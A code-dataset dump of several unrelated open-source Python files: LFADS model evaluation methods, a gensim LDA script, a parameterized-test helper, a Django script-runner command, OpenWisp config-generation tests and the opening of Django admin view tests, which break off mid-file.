list_t_bxn_to_tensor_bxtxn(out_dist_params) if self.hps.ic_dim > 0: prior_g0_mean = prior_g0_mean[0] prior_g0_logvar = prior_g0_logvar[0] post_g0_mean = post_g0_mean[0] post_g0_logvar = post_g0_logvar[0] if self.hps.co_dim > 0: controller_outputs = list_t_bxn_to_tensor_bxtxn(controller_outputs) if do_average_batch: gen_ics = np.mean(gen_ics, axis=0) gen_states = np.mean(gen_states, axis=0) factors = np.mean(factors, axis=0) out_dist_params = np.mean(out_dist_params, axis=0) if self.hps.ic_dim > 0: prior_g0_mean = np.mean(prior_g0_mean, axis=0) prior_g0_logvar = np.mean(prior_g0_logvar, axis=0) post_g0_mean = np.mean(post_g0_mean, axis=0) post_g0_logvar = np.mean(post_g0_logvar, axis=0) if self.hps.co_dim > 0: controller_outputs = np.mean(controller_outputs, axis=0) model_vals = {} model_vals['gen_ics'] = gen_ics model_vals['gen_states'] = gen_states model_vals['factors'] = factors model_vals['output_dist_params'] = out_dist_params model_vals['costs'] = costs model_vals['nll_bound_vaes'] = nll_bound_vaes model_vals['nll_bound_iwaes'] = nll_bound_iwaes model_vals['train_steps'] = train_steps if self.hps.ic_dim > 0: model_vals['prior_g0_mean'] = prior_g0_mean model_vals['prior_g0_logvar'] = prior_g0_logvar model_vals['post_g0_mean'] = post_g0_mean model_vals['post_g0_logvar'] = post_g0_logvar if self.hps.co_dim > 0: model_vals['controller_outputs'] = controller_outputs return model_vals def eval_model_runs_avg_epoch(self, data_name, data_extxd, ext_input_extxi=None): """Returns all the expected value for goodies for the entire model. The expected value is taken over hidden (z) variables, namely the initial conditions and the control inputs. The expected value is approximate, and accomplished via sampling (batch_size) samples for every examples. Args: data_name: The name of the data dict, to select which in/out matrices to use. data_extxd: Numpy array training data with shape: # examples x # time steps x # dimensions ext_input_extxi (optional): Numpy array training external input with shape: # examples x # time steps x # external input dims Returns: A dictionary with the averaged outputs of the model decoder, namely: prior g0 mean, prior g0 variance, approx. posterior mean, approx posterior mean, the generator initial conditions, the control inputs (if enabled), the state of the generator, the factors, and the output distribution parameters, e.g. (rates or mean and variances). """ hps = self.hps batch_size = hps.batch_size E, T, D = data_extxd.shape E_to_process = hps.ps_nexamples_to_process if E_to_process > E: print("Setting number of posterior samples to process to : ", E) E_to_process = E if hps.ic_dim > 0: prior_g0_mean = np.zeros([E_to_process, hps.ic_dim]) prior_g0_logvar = np.zeros([E_to_process, hps.ic_dim]) post_g0_mean = np.zeros([E_to_process, hps.ic_dim]) post_g0_logvar = np.zeros([E_to_process, hps.ic_dim]) if hps.co_dim > 0: controller_outputs = np.zeros([E_to_process, T, hps.co_dim]) gen_ics = np.zeros([E_to_process, hps.gen_dim]) gen_states = np.zeros([E_to_process, T, hps.gen_dim]) factors = np.zeros([E_to_process, T, hps.factors_dim]) if hps.output_dist == 'poisson': out_dist_params = np.zeros([E_to_process, T, D]) elif hps.output_dist == 'gaussian': out_dist_params = np.zeros([E_to_process, T, D+D]) else: assert False, "NIY" costs = np.zeros(E_to_process) nll_bound_vaes = np.zeros(E_to_process) nll_bound_iwaes = np.zeros(E_to_process) train_steps = np.zeros(E_to_process) for es_idx in range(E_to_process): print("Running %d of %d." % (es_idx+1, E_to_process)) example_idxs = es_idx * np.ones(batch_size, dtype=np.int32) data_bxtxd, ext_input_bxtxi = self.get_batch(data_extxd, ext_input_extxi, batch_size=batch_size, example_idxs=example_idxs) model_values = self.eval_model_runs_batch(data_name, data_bxtxd, ext_input_bxtxi, do_eval_cost=True, do_average_batch=True) if self.hps.ic_dim > 0: prior_g0_mean[es_idx,:] = model_values['prior_g0_mean'] prior_g0_logvar[es_idx,:] = model_values['prior_g0_logvar'] post_g0_mean[es_idx,:] = model_values['post_g0_mean'] post_g0_logvar[es_idx,:] = model_values['post_g0_logvar'] gen_ics[es_idx,:] = model_values['gen_ics'] if self.hps.co_dim > 0: controller_outputs[es_idx,:,:] = model_values['controller_outputs'] gen_states[es_idx,:,:] = model_values['gen_states'] factors[es_idx,:,:] = model_values['factors'] out_dist_params[es_idx,:,:] = model_values['output_dist_params'] costs[es_idx] = model_values['costs'] nll_bound_vaes[es_idx] = model_values['nll_bound_vaes'] nll_bound_iwaes[es_idx] = model_values['nll_bound_iwaes'] train_steps[es_idx] = model_values['train_steps'] print('bound nll(vae): %.3f, bound nll(iwae): %.3f' \ % (nll_bound_vaes[es_idx], nll_bound_iwaes[es_idx])) model_runs = {} if self.hps.ic_dim > 0: model_runs['prior_g0_mean'] = prior_g0_mean model_runs['prior_g0_logvar'] = prior_g0_logvar model_runs['post_g0_mean'] = post_g0_mean model_runs['post_g0_logvar'] = post_g0_logvar model_runs['gen_ics'] = gen_ics if self.hps.co_dim > 0: model_runs['controller_outputs'] = controller_outputs model_runs['gen_states'] = gen_states model_runs['factors'] = factors model_runs['output_dist_params'] = out_dist_params model_runs['costs'] = costs model_runs['nll_bound_vaes'] = nll_bound_vaes model_runs['nll_bound_iwaes'] = nll_bound_iwaes model_runs['train_steps'] = train_steps return model_runs def write_model_runs(self, datasets, output_fname=None): """Run the model on the data in data_dict, and save the computed values. LFADS generates a number of outputs for each examples, and these are all saved. They are: The mean and variance of the prior of g0. The mean and variance of approximate posterior of g0. The control inputs (if enabled) The initial conditions, g0, for all examples. The generator states for all time. The factors for all time. The output distribution parameters (e.g. rates) for all time. Args: datasets: a dictionary of named data_dictionaries, see top of lfads.py output_fname: a file name stem for the output files. """ hps = self.hps kind = hps.kind for data_name, data_dict in datasets.items(): data_tuple = [('train', data_dict['train_data'], data_dict['train_ext_input']), ('valid', data_dict['valid_data'], data_dict['valid_ext_input'])] for data_kind, data_extxd, ext_input_extxi in data_tuple: if not output_fname: fname = "model_runs_" + data_name + '_' + data_kind + '_' + kind else: fname = output_fname + data_name + '_' + data_kind + '_' + kind print("Writing data for %s data and kind %s." % (data_name, data_kind)) model_runs = self.eval_model_runs_avg_epoch(data_name, data_extxd, ext_input_extxi) full_fname = os.path.join(hps.lfads_save_dir, fname) write_data(full_fname, model_runs, compression='gzip') print("Done.") def write_model_samples(self, dataset_name, output_fname=None): """Use the prior distribution to generate batch_size number of samples from the model. LFADS generates a number of outputs for each sample, and these are all saved. They are: The mean and variance of the prior of g0. The control inputs (if enabled) The initial conditions, g0, for all examples. The generator states for all time. The factors for all time. The output distribution parameters (e.g. rates) for all time. Args: dataset_name: The name of the dataset to grab the factors -> rates alignment matrices from. output_fname: The name of the file in which to save the generated samples. """ hps = self.hps batch_size = hps.batch_size print("Generating %d samples" % (batch_size)) tf_vals = [self.factors, self.gen_states, self.gen_ics, self.cost, self.output_dist_params] if hps.ic_dim > 0: tf_vals += [self.prior_zs_g0.mean, self.prior_zs_g0.logvar] if hps.co_dim > 0: tf_vals += [self.prior_zs_ar_con.samples_t] tf_vals_flat, fidxs = flatten(tf_vals) session = tf.get_default_session() feed_dict = {} feed_dict[self.dataName] = dataset_name feed_dict[self.keep_prob] = 1.0 np_vals_flat = session.run(tf_vals_flat, feed_dict=feed_dict) ff = 0 factors = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 gen_states = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 gen_ics = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 costs = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 output_dist_params = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 if hps.ic_dim > 0: prior_g0_mean = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 prior_g0_logvar = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 if hps.co_dim > 0: prior_zs_ar_con = [np_vals_flat[f] for f in fidxs[ff]]; ff += 1 # [0] are to take out the non-temporal items from lists gen_ics = gen_ics[0] costs = costs[0] # Convert to full tensors, not lists of tensors in time dim. gen_states = list_t_bxn_to_tensor_bxtxn(gen_states) factors = list_t_bxn_to_tensor_bxtxn(factors) output_dist_params = list_t_bxn_to_tensor_bxtxn(output_dist_params) if hps.ic_dim > 0: prior_g0_mean = prior_g0_mean[0] prior_g0_logvar = prior_g0_logvar[0] if hps.co_dim > 0: prior_zs_ar_con = list_t_bxn_to_tensor_bxtxn(prior_zs_ar_con) model_vals = {} model_vals['gen_ics'] = gen_ics model_vals['gen_states'] = gen_states model_vals['factors'] = factors model_vals['output_dist_params'] = output_dist_params model_vals['costs'] = costs.reshape(1) if hps.ic_dim > 0: model_vals['prior_g0_mean'] = prior_g0_mean model_vals['prior_g0_logvar'] = prior_g0_logvar if hps.co_dim > 0: model_vals['prior_zs_ar_con'] = prior_zs_ar_con full_fname = os.path.join(hps.lfads_save_dir, output_fname) write_data(full_fname, model_vals, compression='gzip') print("Done.") @staticmethod def eval_model_parameters(use_nested=True, include_strs=None): """Evaluate and return all of the TF variables in the model. Args: use_nested (optional): For returning values, use a nested dictoinary, based on variable scoping, or return all variables in a flat dictionary. include_strs (optional): A list of strings to use as a filter, to reduce the number of variables returned. A variable name must contain at least one string in include_strs as a sub-string in order to be returned. Returns: The parameters of the model. This can be in a flat dictionary, or a nested dictionary, where the nesting is by variable scope. """ all_tf_vars = tf.global_variables() session = tf.get_default_session() all_tf_vars_eval = session.run(all_tf_vars) vars_dict = {} strs = ["LFADS"] if include_strs: strs += include_strs for i, (var, var_eval) in enumerate(zip(all_tf_vars, all_tf_vars_eval)): if any(s in include_strs for s in var.name): if not isinstance(var_eval, np.ndarray): # for H5PY print(var.name, """ is not numpy array, saving as numpy array with value: """, var_eval, type(var_eval)) e = np.array(var_eval) print(e, type(e)) else: e = var_eval vars_dict[var.name] = e if not use_nested: return vars_dict var_names = vars_dict.keys() nested_vars_dict = {} current_dict = nested_vars_dict for v, var_name in enumerate(var_names): var_split_name_list = var_name.split('/') split_name_list_len = len(var_split_name_list) current_dict = nested_vars_dict for p, part in enumerate(var_split_name_list): if p < split_name_list_len - 1: if part in current_dict: current_dict = current_dict[part] else: current_dict[part] = {} current_dict = current_dict[part] else: current_dict[part] = vars_dict[var_name] return nested_vars_dict @staticmethod def spikify_rates(rates_bxtxd): """Randomly spikify underlying rates according a Poisson distribution Args: rates_bxtxd: a numpy tensor with shape: Returns: A numpy array with the same shape as rates_bxtxd, but with the event counts. """ B,T,N = rates_bxtxd.shape assert all([B > 0, N > 0]), "problems" # Because the rates are changing, there is nesting spikes_bxtxd = np.zeros([B,T,N], dtype=np.int32) for b in range(B): for t in range(T): for n in range(N): rate = rates_bxtxd[b,t,n] count = np.random.poisson(rate) spikes_bxtxd[b,t,n] = count return spikes_bxtxd
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ali-abdullah/nlp
lda.py
1
1146
import gensim import logging import os.path class LineCorpus(gensim.corpora.textcorpus.TextCorpus): # Creates the corpus object that reads the document line by line def get_texts(self): with open(self.input) as f: for l in f: yield l.split() logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) if os.path.isfile('lda_model'): # Check if the model has previously been created # if it has load the model and print out the different topics print("lda model was found") model = gensim.models.LdaModel.load('lda_model') print("number of topics : ") print(model.num_topics) for i in range(0,model.num_topics - 1): print("topic number : ") print(i) print(model.print_topic(i)) doc = ['wonderful', 'action', 'packed', 'movie', 'steven', 'seagal', 'five', 'star'] bow = model.id2word.doc2bow(doc) topic_analysis = model[bow] print(topic_analysis) else: corpus = LineCorpus('reviews.txt') print("creating lda model") model = gensim.models.LdaModel(corpus, id2word=corpus.dictionary, alpha='auto', num_topics=10, passes=5) model.save('lda_model')
mit
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jmwright/cadquery-freecad-module
Libs/pint/testsuite/parameterized.py
1
5114
# -*- coding: utf-8 -*- # # Adds Parameterized tests for Python's unittest module # # Code from: parameterizedtestcase, version: 0.1.0 # Homepage: https://github.com/msabramo/python_unittest_parameterized_test_case # Author: Marc Abramowitz, email: marc@marc-abramowitz.com # License: MIT # # Fixed for to work in Python 2 & 3 with "add_metaclass" decorator from six # https://pypi.python.org/pypi/six # Author: Benjamin Peterson # License: MIT # # Use like this: # # from parameterizedtestcase import ParameterizedTestCase # # class MyTests(ParameterizedTestCase): # @ParameterizedTestCase.parameterize( # ("input", "expected_output"), # [ # ("2+4", 6), # ("3+5", 8), # ("6*9", 54), # ] # ) # def test_eval(self, input, expected_output): # self.assertEqual(eval(input), expected_output) try: import unittest2 as unittest except ImportError: # pragma: no cover import unittest from functools import wraps import collections def add_metaclass(metaclass): """Class decorator for creating a class with a metaclass.""" def wrapper(cls): orig_vars = cls.__dict__.copy() orig_vars.pop('__dict__', None) orig_vars.pop('__weakref__', None) slots = orig_vars.get('__slots__') if slots is not None: if isinstance(slots, str): slots = [slots] for slots_var in slots: orig_vars.pop(slots_var) return metaclass(cls.__name__, cls.__bases__, orig_vars) return wrapper def augment_method_docstring(method, new_class_dict, classname, param_names, param_values, new_method): param_assignments_str = '; '.join( ['%s = %s' % (k, v) for (k, v) in zip(param_names, param_values)]) extra_doc = "%s (%s.%s) [with %s] " % ( method.__name__, new_class_dict.get('__module__', '<module>'), classname, param_assignments_str) try: new_method.__doc__ = extra_doc + new_method.__doc__ except TypeError: # Catches when new_method.__doc__ is None new_method.__doc__ = extra_doc class ParameterizedTestCaseMetaClass(type): method_counter = {} def __new__(meta, classname, bases, class_dict): new_class_dict = {} for attr_name, attr_value in list(class_dict.items()): if isinstance(attr_value, collections.Callable) and hasattr(attr_value, 'param_names'): # print("Processing attr_name = %r; attr_value = %r" % ( # attr_name, attr_value)) method = attr_value param_names = attr_value.param_names data = attr_value.data func_name_format = attr_value.func_name_format meta.process_method( classname, method, param_names, data, new_class_dict, func_name_format) else: new_class_dict[attr_name] = attr_value return type.__new__(meta, classname, bases, new_class_dict) @classmethod def process_method( cls, classname, method, param_names, data, new_class_dict, func_name_format): method_counter = cls.method_counter for param_values in data: new_method = cls.new_method(method, param_values) method_counter[method.__name__] = \ method_counter.get(method.__name__, 0) + 1 case_data = dict(list(zip(param_names, param_values))) case_data['func_name'] = method.__name__ case_data['case_num'] = method_counter[method.__name__] new_method.__name__ = func_name_format.format(**case_data) augment_method_docstring( method, new_class_dict, classname, param_names, param_values, new_method) new_class_dict[new_method.__name__] = new_method @classmethod def new_method(cls, method, param_values): @wraps(method) def new_method(self): return method(self, *param_values) return new_method @add_metaclass(ParameterizedTestCaseMetaClass) class ParameterizedTestMixin(object): @classmethod def parameterize(cls, param_names, data, func_name_format='{func_name}_{case_num:05d}'): """Decorator for parameterizing a test method - example: @ParameterizedTestCase.parameterize( ("isbn", "expected_title"), [ ("0262033844", "Introduction to Algorithms"), ("0321558146", "Campbell Essential Biology")]) """ def decorator(func): @wraps(func) def newfunc(*arg, **kwargs): return func(*arg, **kwargs) newfunc.param_names = param_names newfunc.data = data newfunc.func_name_format = func_name_format return newfunc return decorator @add_metaclass(ParameterizedTestCaseMetaClass) class ParameterizedTestCase(unittest.TestCase, ParameterizedTestMixin): pass
lgpl-3.0
1,117,024,097,544,180,100
32.645
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lsaffre/djangosite
djangosite/management/commands/run.py
1
1763
# -*- coding: UTF-8 -*- # Copyright 2012-2013 by Luc Saffre. # License: BSD, see LICENSE for more details. """ .. management_command:: run Execute a standalone Python script after having set up the Django environment. Also modify `sys.args`, `__file__` and `__name__` so that the invoked script sees them as if it had been called directly. This is yet another answer to the frequently asked Django question about how to run standalone Django scripts (`[1] <http://stackoverflow.com/questions/4847469/use-django-from-python-manage-py-shell-to-python-script>`__, `[2] <http://www.b-list.org/weblog/2007/sep/22/standalone-django-scripts/>`__). It is almost the same as redirecting stdin of Django's ``shell`` command (i.e. doing ``python manage.py shell < myscript.py``), but with the possibility of using command line arguments and without the disturbing messages from the interactive console. For example if you have a file `myscript.py` with the following content... :: from myapp.models import Partner print Partner.objects.all() ... then you can run this script using:: $ python manage.py run myscript.py [<Partner: Rumma & Ko OÜ>, ... <Partner: Charlier Ulrike>, '...(remaining elements truncated)...'] """ from __future__ import unicode_literals import sys from django.core.management.base import BaseCommand, CommandError class Command(BaseCommand): help = __doc__ args = "scriptname [args ...]" def handle(self, *args, **options): if len(args) == 0: raise CommandError("I need at least one argument.") fn = args[0] sys.argv = sys.argv[2:] globals()['__name__'] = '__main__' globals()['__file__'] = fn execfile(fn, globals()) #~ execfile(fn,{})
bsd-2-clause
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openwisp/netjsonconfig
tests/openwisp/test_backend.py
1
8872
import tarfile import unittest from copy import deepcopy from hashlib import md5 from time import sleep from netjsonconfig import OpenWisp from netjsonconfig.exceptions import ValidationError from netjsonconfig.utils import _TabsMixin class TestBackend(unittest.TestCase, _TabsMixin): """ tests for OpenWisp backend """ config = { "general": {"hostname": "openwisp-test"}, "interfaces": [ {"name": "tap0", "type": "virtual"}, { "network": "serv", "name": "br-serv", "type": "bridge", "bridge_members": ["tap0"], "addresses": [ { "proto": "static", "family": "ipv4", "address": "192.168.1.2", "mask": 24, } ], }, { "name": "wlan0", "type": "wireless", "wireless": { "radio": "radio0", "mode": "access_point", "ssid": "wifi-service", "isolate": True, "network": ["wlan1", "serv"], }, }, ], "radios": [ { "name": "radio0", "phy": "phy0", "driver": "mac80211", "protocol": "802.11n", "channel": 11, "channel_width": 20, "tx_power": 5, "country": "IT", } ], "openvpn": [ { "ca": "/tmp/owispmanager/openvpn/x509/ca_1_service.pem", "cert": "/tmp/owispmanager/openvpn/x509/l2vpn_client_2693.pem", "cipher": "AES-128-CBC", "comp_lzo": "yes", "dev": "tap0", "dev_type": "tap", "down": "/tmp/owispmanager/openvpn/vpn_2693_script_down.sh", "enabled": True, "keepalive": "5 40", "key": "/tmp/owispmanager/openvpn/x509/l2vpn_client_2693.pem", "log": "/tmp/openvpn_2693.log", "mode": "p2p", "mute": 10, "mute_replay_warnings": True, "name": "2693", "nobind": True, "ns_cert_type": "server", "persist_tun": True, "proto": "tcp-client", "remote": [{"host": "vpn.openwisp.org", "port": 12128}], "script_security": 1, "tls_client": True, "up": "/tmp/owispmanager/openvpn/vpn_2693_script_up.sh", "up_delay": 1, "up_restart": True, "verb": 1, } ], "tc_options": [ {"name": "tap0", "input_bandwidth": 2048, "output_bandwidth": 1024} ], "files": [ { "path": "/openvpn/x509/ca_1_service.pem", "mode": "0600", "contents": "-----BEGIN CERTIFICATE-----\ntest\n-----END CERTIFICATE-----\n", # noqa }, { "path": "/openvpn/x509/l2vpn_client_2693.pem", "mode": "0600", "contents": "-----BEGIN CERTIFICATE-----\ntest==\n-----END CERTIFICATE-----\n-----BEGIN RSA PRIVATE KEY-----\ntest\n-----END RSA PRIVATE KEY-----\n", # noqa }, ], } def test_uci(self): o = OpenWisp({"general": {"hostname": "openwisp-test"}}) tar = tarfile.open(fileobj=o.generate(), mode='r') system = tar.getmember('uci/system.conf') contents = tar.extractfile(system).read().decode() expected = self._tabs( """package system config 'system' 'system' option 'hostname' 'openwisp-test' """ ) self.assertEqual(contents, expected) tar.close() def test_hostname_required(self): o = OpenWisp({"general": {"timezone": "UTC"}}) with self.assertRaises(ValidationError): o.validate() def test_install_script(self): config = deepcopy(self.config) o = OpenWisp(config) tar = tarfile.open(fileobj=o.generate(), mode='r') install = tar.getmember('install.sh') contents = tar.extractfile(install).read().decode() self.assertIn('openvpn --mktun --dev 2693 --dev-type tap', contents) self.assertIn('ifup br-serv', contents) self.assertIn('$(ip address show dev br-serv | grep 192.168.1.2)', contents) self.assertIn('wifi up radio0', contents) self.assertNotIn('Starting Cron', contents) # esure is executable self.assertEqual(install.mode, 493) tar.close() def test_ensure_tun_vpn_ignored(self): config = deepcopy(self.config) config['openvpn'][0]['dev_type'] = 'tun' o = OpenWisp(config) tar = tarfile.open(fileobj=o.generate(), mode='r') install = tar.getmember('install.sh') contents = tar.extractfile(install).read().decode() self.assertNotIn('openvpn --mktun --dev 2693 --dev-type tap', contents) tar.close() def test_uninstall_script(self): config = deepcopy(self.config) o = OpenWisp(config) tar = tarfile.open(fileobj=o.generate(), mode='r') uninstall = tar.getmember('uninstall.sh') contents = tar.extractfile(uninstall).read().decode() self.assertIn('openvpn --rmtun --dev 2693 --dev-type tap', contents) self.assertNotIn('Stopping Cron', contents) # esure is executable self.assertEqual(uninstall.mode, 493) tar.close() def test_up_and_down_scripts(self): config = deepcopy(self.config) o = OpenWisp(config) tar = tarfile.open(fileobj=o.generate(), mode='r') up = tar.getmember('openvpn/vpn_2693_script_up.sh') contents = tar.extractfile(up).read().decode() self.assertIn('rm -f /tmp/will_reboot', contents) self.assertEqual(up.mode, 493) # esure is executable down = tar.getmember('openvpn/vpn_2693_script_down.sh') contents = tar.extractfile(down).read().decode() self.assertIn('REBOOT_DELAY', contents) self.assertEqual(down.mode, 493) # esure is executable tar.close() def test_double_generation(self): o = OpenWisp(self.config) o.generate() o.generate() def test_wireless_radio_disabled_0(self): o = OpenWisp({'radios': self.config['radios']}) output = o.render() self.assertIn("option 'disabled' '0'", output) def test_tc_script(self): config = deepcopy(self.config) o = OpenWisp(config) tar = tarfile.open(fileobj=o.generate(), mode='r') tc = tar.getmember('tc_script.sh') contents = tar.extractfile(tc).read().decode() self.assertIn('tc qdisc del dev tap0 root', contents) self.assertIn('tc qdisc del dev tap0 ingress', contents) self.assertIn('tc qdisc add dev tap0 root handle 1: htb default 2', contents) self.assertIn( 'tc class add dev tap0 parent 1 classid 1:1 htb rate 1024kbit burst 191k', contents, ) self.assertIn( 'tc class add dev tap0 parent 1:1 classid 1:2 htb rate 512kbit ceil 1024kbit', contents, ) self.assertIn('tc qdisc add dev tap0 ingress', contents) line = ( 'tc filter add dev tap0 parent ffff: preference 0 u32 match u32 0x0 0x0 police ' 'rate 2048kbit burst 383k drop flowid :1' ) self.assertIn(line, contents) tar.close() def test_cron(self): config = deepcopy(self.config) config['files'] = [ { "path": "/crontabs/root", "mode": "0644", "contents": "* * * * * echo 'test' > /tmp/test-cron", } ] o = OpenWisp(config) tar = tarfile.open(fileobj=o.generate(), mode='r') install = tar.getmember('install.sh') contents = tar.extractfile(install).read().decode() self.assertIn('Starting Cron', contents) uninstall = tar.getmember('uninstall.sh') contents = tar.extractfile(uninstall).read().decode() self.assertIn('Stopping Cron', contents) tar.close() def test_checksum(self): """ ensures checksum of same config doesn't change """ o = OpenWisp({"general": {"hostname": "test"}}) # md5 is good enough and won't slow down test execution too much checksum1 = md5(o.generate().getvalue()).hexdigest() sleep(1) checksum2 = md5(o.generate().getvalue()).hexdigest() self.assertEqual(checksum1, checksum2)
gpl-3.0
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36.277
173
0.515
false
andyzsf/django
tests/admin_views/tests.py
1
240212
# -*- coding: utf-8 -*- from __future__ import unicode_literals import os import re import datetime import unittest from django.conf import settings, global_settings from django.core import mail from django.core.checks import Error from django.core.files import temp as tempfile from django.core.exceptions import ImproperlyConfigured from django.core.urlresolvers import (NoReverseMatch, get_script_prefix, reverse, set_script_prefix) # Register auth models with the admin. from django.contrib.auth import get_permission_codename from django.contrib.admin import ModelAdmin from django.contrib.admin.helpers import ACTION_CHECKBOX_NAME from django.contrib.admin.models import LogEntry, DELETION from django.contrib.admin.options import TO_FIELD_VAR from django.contrib.admin.templatetags.admin_static import static from django.contrib.admin.templatetags.admin_urls import add_preserved_filters from django.contrib.admin.tests import AdminSeleniumWebDriverTestCase from django.contrib.admin.utils import quote from django.contrib.admin.validation import ModelAdminValidator from django.contrib.admin.views.main import IS_POPUP_VAR from django.contrib.auth import REDIRECT_FIELD_NAME from django.contrib.auth.models import Group, User, Permission from django.contrib.contenttypes.models import ContentType from django.contrib.staticfiles.storage import staticfiles_storage from django.forms.utils import ErrorList from django.template.response import TemplateResponse from django.test import TestCase, skipUnlessDBFeature from django.test.utils import patch_logger from django.test import modify_settings, override_settings from django.utils import formats from django.utils import translation from django.utils.cache import get_max_age from django.utils.encoding import iri_to_uri, force_bytes, force_text from django.utils.html import escape from django.utils.http import urlencode from django.utils.six.moves.urllib.parse import parse_qsl, urljoin, urlparse from django.utils._os import upath from django.utils import six # local test models from .models import (Article, BarAccount, CustomArticle, EmptyModel, FooAccount, Gallery, ModelWithStringPrimaryKey, Person, Persona, Picture, Podcast, Section, Subscriber, Vodcast, Language, Collector, Widget, Grommet, DooHickey, FancyDoodad, Whatsit, Category, Post, Plot, FunkyTag, Chapter, Book, Promo, WorkHour, Employee, Question, Answer, Inquisition, Actor, FoodDelivery, RowLevelChangePermissionModel, Paper, CoverLetter, Story, OtherStory, ComplexSortedPerson, PluggableSearchPerson, Parent, Child, AdminOrderedField, AdminOrderedModelMethod, AdminOrderedAdminMethod, AdminOrderedCallable, Report, MainPrepopulated, RelatedPrepopulated, UnorderedObject, Simple, UndeletableObject, UnchangeableObject, Choice, ShortMessage, Telegram, Pizza, Topping, FilteredManager, City, Restaurant, Worker, ParentWithDependentChildren, Character, FieldOverridePost, Color2) from .admin import site, site2, CityAdmin ERROR_MESSAGE = "Please enter the correct username and password \ for a staff account. Note that both fields may be case-sensitive." ADMIN_VIEW_TEMPLATES_DIR = settings.TEMPLATE_DIRS + (os.path.join(os.path.dirname(upath(__file__)), 'templates'),) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls", USE_I18N=True, USE_L10N=False, LANGUAGE_CODE='en') class AdminViewBasicTestCase(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-colors.xml', 'admin-views-fabrics.xml', 'admin-views-books.xml'] # Store the bit of the URL where the admin is registered as a class # variable. That way we can test a second AdminSite just by subclassing # this test case and changing urlbit. urlbit = 'admin' def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() formats.reset_format_cache() def assertContentBefore(self, response, text1, text2, failing_msg=None): """ Testing utility asserting that text1 appears before text2 in response content. """ self.assertEqual(response.status_code, 200) self.assertLess(response.content.index(force_bytes(text1)), response.content.index(force_bytes(text2)), failing_msg) class AdminViewBasicTest(AdminViewBasicTestCase): def test_trailing_slash_required(self): """ If you leave off the trailing slash, app should redirect and add it. """ response = self.client.get('/test_admin/%s/admin_views/article/add' % self.urlbit) self.assertRedirects(response, '/test_admin/%s/admin_views/article/add/' % self.urlbit, status_code=301) def test_admin_static_template_tag(self): """ Test that admin_static.static is pointing to the collectstatic version (as django.contrib.collectstatic is in installed apps). """ old_url = staticfiles_storage.base_url staticfiles_storage.base_url = '/test/' try: self.assertEqual(static('path'), '/test/path') finally: staticfiles_storage.base_url = old_url def test_basic_add_GET(self): """ A smoke test to ensure GET on the add_view works. """ response = self.client.get('/test_admin/%s/admin_views/section/add/' % self.urlbit) self.assertIsInstance(response, TemplateResponse) self.assertEqual(response.status_code, 200) def test_add_with_GET_args(self): response = self.client.get('/test_admin/%s/admin_views/section/add/' % self.urlbit, {'name': 'My Section'}) self.assertEqual(response.status_code, 200) self.assertContains(response, 'value="My Section"', msg_prefix="Couldn't find an input with the right value in the response") def test_basic_edit_GET(self): """ A smoke test to ensure GET on the change_view works. """ response = self.client.get('/test_admin/%s/admin_views/section/1/' % self.urlbit) self.assertIsInstance(response, TemplateResponse) self.assertEqual(response.status_code, 200) def test_basic_edit_GET_string_PK(self): """ Ensure GET on the change_view works (returns an HTTP 404 error, see #11191) when passing a string as the PK argument for a model with an integer PK field. """ response = self.client.get('/test_admin/%s/admin_views/section/abc/' % self.urlbit) self.assertEqual(response.status_code, 404) def test_basic_inheritance_GET_string_PK(self): """ Ensure GET on the change_view works on inherited models (returns an HTTP 404 error, see #19951) when passing a string as the PK argument for a model with an integer PK field. """ response = self.client.get('/test_admin/%s/admin_views/supervillain/abc/' % self.urlbit) self.assertEqual(response.status_code, 404) def test_basic_add_POST(self): """ A smoke test to ensure POST on add_view works. """ post_data = { "name": "Another Section", # inline data "article_set-TOTAL_FORMS": "3", "article_set-INITIAL_FORMS": "0", "article_set-MAX_NUM_FORMS": "0", } response = self.client.post('/test_admin/%s/admin_views/section/add/' % self.urlbit, post_data) self.assertEqual(response.status_code, 302) # redirect somewhere def test_popup_add_POST(self): """ Ensure http response from a popup is properly escaped. """ post_data = { '_popup': '1', 'title': 'title with a new\nline', 'content': 'some content', 'date_0': '2010-09-10', 'date_1': '14:55:39', } response = self.client.post('/test_admin/%s/admin_views/article/add/' % self.urlbit, post_data) self.assertEqual(response.status_code, 200) self.assertContains(response, 'dismissAddAnotherPopup') self.assertContains(response, 'title with a new\\u000Aline') # Post data for edit inline inline_post_data = { "name": "Test section", # inline data "article_set-TOTAL_FORMS": "6", "article_set-INITIAL_FORMS": "3", "article_set-MAX_NUM_FORMS": "0", "article_set-0-id": "1", # there is no title in database, give one here or formset will fail. "article_set-0-title": "Norske bostaver æøå skaper problemer", "article_set-0-content": "&lt;p&gt;Middle content&lt;/p&gt;", "article_set-0-date_0": "2008-03-18", "article_set-0-date_1": "11:54:58", "article_set-0-section": "1", "article_set-1-id": "2", "article_set-1-title": "Need a title.", "article_set-1-content": "&lt;p&gt;Oldest content&lt;/p&gt;", "article_set-1-date_0": "2000-03-18", "article_set-1-date_1": "11:54:58", "article_set-2-id": "3", "article_set-2-title": "Need a title.", "article_set-2-content": "&lt;p&gt;Newest content&lt;/p&gt;", "article_set-2-date_0": "2009-03-18", "article_set-2-date_1": "11:54:58", "article_set-3-id": "", "article_set-3-title": "", "article_set-3-content": "", "article_set-3-date_0": "", "article_set-3-date_1": "", "article_set-4-id": "", "article_set-4-title": "", "article_set-4-content": "", "article_set-4-date_0": "", "article_set-4-date_1": "", "article_set-5-id": "", "article_set-5-title": "", "article_set-5-content": "", "article_set-5-date_0": "", "article_set-5-date_1": "", } def test_basic_edit_POST(self): """ A smoke test to ensure POST on edit_view works. """ response = self.client.post('/test_admin/%s/admin_views/section/1/' % self.urlbit, self.inline_post_data) self.assertEqual(response.status_code, 302) # redirect somewhere def test_edit_save_as(self): """ Test "save as". """ post_data = self.inline_post_data.copy() post_data.update({ '_saveasnew': 'Save+as+new', "article_set-1-section": "1", "article_set-2-section": "1", "article_set-3-section": "1", "article_set-4-section": "1", 